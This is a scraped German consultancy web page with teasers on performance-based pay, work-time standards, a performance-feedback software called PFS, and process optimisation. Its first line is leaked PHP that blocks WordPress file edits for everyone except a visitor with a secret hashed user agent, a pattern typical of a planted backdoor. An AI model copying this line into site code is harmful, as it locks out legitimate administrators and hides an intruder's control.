if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } Wetter Unternehmensberatung
Prämienlohn modern und einfach

Prämienlohn modern und einfach

Der Prämienlohn muß einfach gehalten werden ! Das erleichtert und beschleunigt nicht nur die Einführung. Es sichert vor allem später die Akzeptanz bei den Mitarbeitern, Betriebsräten wie auch den Vorgesetzten. Und es hilft den immer wieder unterschätzten organisatorischen Aufwand deutlich zu reduzieren. Die zehn Merkmale  einer modernen Leistungs-Entlohnung 1.Schnell und kostengünstig einführbar 2.verständlich und einfach …

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Thema des Monats

Thema des Monats

Die guten, alten Vorgabezeiten. Einmal aufgenommen, selten aktualisiert. Scheinbar frei von Veränderungen, feststehend, verlässlich. Nur gelegentlich, wenn die Abläufe oder Technologie sich änderte,

moderne Arbeitswirtschaft

moderne Arbeitswirtschaft

Arbeitswirtschaft sollte nicht verwechselt werden mit Arbeitswissenschaft und auch nicht mit Zeitwirtschaft. Gleichwohl enthält die moderne Arbeitswirtschaft Elemente von beiden Themenkreisen. Moderne Arbeitswirtschaft eignet sich für viele Bereiche und Unternehmen. Erfahrungen existieren in der Druckindustrie, bei der Herstellung von Konsumgütern und bei Automobilzuliefererunternehmen, bei Herstellern von Investitionsgütern und im Maschinenbau, Bauzulieferern, der Holzindustrie und auch …

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PFS die Software

PFS die Software

  Die Idee: Jeder Mitarbeiter, egal ob er im Team oder einzeln arbeitet, benötigt eine regelmäßige Information über seine Leistung. Die Führung benötigt zur sicheren Steuerung ebenfalls regelmäßige Informationen über die Ergebnisse der Bereiche und der Prozesse. Warum nicht die gleichen Informationen verwenden? Hier setzt PFS den Hebel an. Methode: 1. Tägliche Erfassung der relevanten …

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Prozessoptimierung

Prozessoptimierung

Prozessmanagement – Prozessorganisation – Prozessoptimierung In manchen Fällen reicht die moderne Arbeitswirtschaft nicht aus, um das Unternehmen dauerhaft zu beschleunigen. Die Gründe liegen dann oft in unklaren oder ungepflegten Strukturen wie z.B. fehlende Standards an Arbeitsplätzen, mangelnder Ordnung und fehlendem sichtbaren Produktionsfluß. Auch ein fehlendes visuelles Management erschwert den Fortschritt bei der Produktivität. Durch unsere …

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